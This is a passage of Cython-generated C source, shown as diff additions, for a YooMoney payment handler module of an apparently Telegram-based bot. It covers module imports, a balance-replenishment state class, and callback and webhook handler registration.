__Pyx_INCREF(__pyx_n_s_get_key_count); + __Pyx_GIVEREF(__pyx_n_s_get_key_count); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 3, __pyx_n_s_get_key_count)) __PYX_ERR(0, 13, __pyx_L1_error); + __Pyx_INCREF(__pyx_n_s_update_balance); + __Pyx_GIVEREF(__pyx_n_s_update_balance); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 4, __pyx_n_s_update_balance)) __PYX_ERR(0, 13, __pyx_L1_error); + + /* "handlers/payments/yoomoney_pay.py":12 + * + * from config import YOOMONEY_ENABLE, YOOMONEY_ID, YOOMONEY_SECRET_KEY + * from database import ( # <<<<<<<<<<<<<< + * add_connection, + * add_payment, + */ + __pyx_t_3 = __Pyx_Import(__pyx_n_s_database, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_add_connection); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_add_connection, __pyx_t_2) < 0) __PYX_ERR(0, 13, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_add_payment); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_add_payment, __pyx_t_2) < 0) __PYX_ERR(0, 14, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_check_connection_exists); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_check_connection_exists, __pyx_t_2) < 0) __PYX_ERR(0, 15, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_get_key_count); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_get_key_count, __pyx_t_2) < 0) __PYX_ERR(0, 16, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_update_balance, __pyx_t_2) < 0) __PYX_ERR(0, 17, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yoomoney_pay.py":19 + * update_balance, + * ) + * from handlers.payments.gift import YOOKASSA_HASH # <<<<<<<<<<<<<< + * from handlers.payments.utils import send_payment_success_notification + * from handlers.texts import PAYMENT_OPTIONS + */ + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 19, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_YOOKASSA_HASH); + __Pyx_GIVEREF(__pyx_n_s_YOOKASSA_HASH); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_YOOKASSA_HASH)) __PYX_ERR(0, 19, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_handlers_payments_gift, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 19, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_YOOKASSA_HASH); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 19, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_YOOKASSA_HASH, __pyx_t_3) < 0) __PYX_ERR(0, 19, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yoomoney_pay.py":20 + * ) + * from handlers.payments.gift import YOOKASSA_HASH + * from handlers.payments.utils import send_payment_success_notification # <<<<<<<<<<<<<< + * from handlers.texts import PAYMENT_OPTIONS + * from logger import logger + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 20, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_send_payment_success_notificatio); + __Pyx_GIVEREF(__pyx_n_s_send_payment_success_notificatio); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_send_payment_success_notificatio)) __PYX_ERR(0, 20, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_handlers_payments_utils, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 20, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_send_payment_success_notificatio); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 20, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_send_payment_success_notificatio, __pyx_t_2) < 0) __PYX_ERR(0, 20, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yoomoney_pay.py":21 + * from handlers.payments.gift import YOOKASSA_HASH + * from handlers.payments.utils import send_payment_success_notification + * from handlers.texts import PAYMENT_OPTIONS # <<<<<<<<<<<<<< + * from logger import logger + * + */ + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 21, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_n_s_PAYMENT_OPTIONS); + __Pyx_GIVEREF(__pyx_n_s_PAYMENT_OPTIONS); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_PAYMENT_OPTIONS)) __PYX_ERR(0, 21, __pyx_L1_error); + __pyx_t_2 = __Pyx_Import(__pyx_n_s_handlers_texts, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 21, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 21, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_PAYMENT_OPTIONS, __pyx_t_3) < 0) __PYX_ERR(0, 21, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yoomoney_pay.py":22 + * from handlers.payments.utils import send_payment_success_notification + * from handlers.texts import PAYMENT_OPTIONS + * from logger import logger # <<<<<<<<<<<<<< + * + * router = Router() + */ + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_n_s_logger); + __Pyx_GIVEREF(__pyx_n_s_logger); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_logger)) __PYX_ERR(0, 22, __pyx_L1_error); + __pyx_t_3 = __Pyx_Import(__pyx_n_s_logger, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_logger, __pyx_t_2) < 0) __PYX_ERR(0, 22, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yoomoney_pay.py":24 + * from logger import logger + * + * router = Router() # <<<<<<<<<<<<<< + * + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_Router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 24, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 24, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_router, __pyx_t_2) < 0) __PYX_ERR(0, 24, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yoomoney_pay.py":28 + * + * + * if YOOMONEY_ENABLE: # <<<<<<<<<<<<<< + * logger.debug(f"Account ID: {YOOMONEY_ID}") + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_YOOMONEY_ENABLE); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 28, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_4 = __Pyx_PyObject_IsTrue(__pyx_t_2); if (unlikely((__pyx_t_4 < 0))) __PYX_ERR(0, 28, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (__pyx_t_4) { + + /* "handlers/payments/yoomoney_pay.py":29 + * + * if YOOMONEY_ENABLE: + * logger.debug(f"Account ID: {YOOMONEY_ID}") # <<<<<<<<<<<<<< + * + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 29, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_debug); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 29, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_YOOMONEY_ID); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 29, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_t_2, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 29, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyUnicode_Concat(__pyx_kp_u_Account_ID, __pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 29, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 29, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/yoomoney_pay.py":28 + * + * + * if YOOMONEY_ENABLE: # <<<<<<<<<<<<<< + * logger.debug(f"Account ID: {YOOMONEY_ID}") + * + */ + } + + /* "handlers/payments/yoomoney_pay.py":32 + * + * + * class ReplenishBalanceState(StatesGroup): # <<<<<<<<<<<<<< + * choosing_amount_yoomoney = State() + * waiting_for_payment_confirmation_yoomoney = State() + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_StatesGroup); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_2 = PyTuple_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_5); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_5)) __PYX_ERR(0, 32, __pyx_L1_error); + __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PEP560_update_bases(__pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_3 = __Pyx_CalculateMetaclass(NULL, __pyx_t_5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_6 = __Pyx_Py3MetaclassPrepare(__pyx_t_3, __pyx_t_5, __pyx_n_s_ReplenishBalanceState, __pyx_n_s_ReplenishBalanceState, (PyObject *) NULL, __pyx_n_s_handlers_payments_yoomoney_pay, (PyObject *) NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + if (__pyx_t_5 != __pyx_t_2) { + if (unlikely((PyDict_SetItemString(__pyx_t_6, "__orig_bases__", __pyx_t_2) < 0))) __PYX_ERR(0, 32, __pyx_L1_error) + } + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yoomoney_pay.py":33 + * + * class ReplenishBalanceState(StatesGroup): + * choosing_amount_yoomoney = State() # <<<<<<<<<<<<<< + * waiting_for_payment_confirmation_yoomoney = State() + * entering_custom_amount_yoomoney = State() + */ + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_State); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_8 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_7))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_7); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_7, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, NULL}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + } + if (__Pyx_SetNameInClass(__pyx_t_6, __pyx_n_s_choosing_amount_yoomoney, __pyx_t_2) < 0) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yoomoney_pay.py":34 + * class ReplenishBalanceState(StatesGroup): + * choosing_amount_yoomoney = State() + * waiting_for_payment_confirmation_yoomoney = State() # <<<<<<<<<<<<<< + * entering_custom_amount_yoomoney = State() + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_State); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_8 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_7))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_7); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_7, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, NULL}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + } + if (__Pyx_SetNameInClass(__pyx_t_6, __pyx_n_s_waiting_for_payment_confirmation, __pyx_t_2) < 0) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yoomoney_pay.py":35 + * choosing_amount_yoomoney = State() + * waiting_for_payment_confirmation_yoomoney = State() + * entering_custom_amount_yoomoney = State() # <<<<<<<<<<<<<< + * + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_State); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 35, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_8 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_7))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_7); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_7, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, NULL}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 35, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + } + if (__Pyx_SetNameInClass(__pyx_t_6, __pyx_n_s_entering_custom_amount_yoomoney, __pyx_t_2) < 0) __PYX_ERR(0, 35, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yoomoney_pay.py":32 + * + * + * class ReplenishBalanceState(StatesGroup): # <<<<<<<<<<<<<< + * choosing_amount_yoomoney = State() + * waiting_for_payment_confirmation_yoomoney = State() + */ + __pyx_t_2 = __Pyx_Py3ClassCreate(__pyx_t_3, __pyx_n_s_ReplenishBalanceState, __pyx_t_5, __pyx_t_6, NULL, 0, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_ReplenishBalanceState, __pyx_t_2) < 0) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/yoomoney_pay.py":38 + * + * + * @router.callback_query(F.data == "pay_yoomoney") # <<<<<<<<<<<<<< + * async def process_callback_pay_yoomoney( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_router); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_F); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_data); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = PyObject_RichCompare(__pyx_t_6, __pyx_n_u_pay_yoomoney, Py_EQ); __Pyx_XGOTREF(__pyx_t_5); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 38, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 38, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_session, __pyx_n_s_Any) < 0) __PYX_ERR(0, 38, __pyx_L1_error) + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yoomoney_pay_1process_callback_pay_yoomoney, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_callback_pay_yoomoney, NULL, __pyx_n_s_handlers_payments_yoomoney_pay, __pyx_d, ((PyObject *)__pyx_codeobj_)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_5); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_callback_pay_yoomoney, __pyx_t_5) < 0) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/yoomoney_pay.py":98 + * + * + * @router.callback_query(F.data.startswith("yoomoney_amount")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_router); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_F); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_data); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_startswith); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_tuple__24, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_6); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 98, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 98, __pyx_L1_error) + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yoomoney_pay_4process_amount_selection, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_amount_selection, NULL, __pyx_n_s_handlers_payments_yoomoney_pay, __pyx_d, ((PyObject *)__pyx_codeobj__5)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_6); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_amount_selection, __pyx_t_6) < 0) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/yoomoney_pay.py":137 + * + * + * async def yoomoney_webhook(request: web.Request): # <<<<<<<<<<<<<< + * data = await request.post() + * logger.debug(f"Webhook event received: {data}") + */ + __pyx_t_6 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_request, __pyx_kp_s_web_Request) < 0) __PYX_ERR(0, 137, __pyx_L1_error) + __pyx_t_3 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yoomoney_pay_7yoomoney_webhook, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_yoomoney_webhook, NULL, __pyx_n_s_handlers_payments_yoomoney_pay, __pyx_d, ((PyObject *)__pyx_codeobj__11)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_3, __pyx_t_6); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_yoomoney_webhook, __pyx_t_3) < 0) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yoomoney_pay.py":171 + * + * + * @router.callback_query(F.data == "enter_custom_amount_yoomoney") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 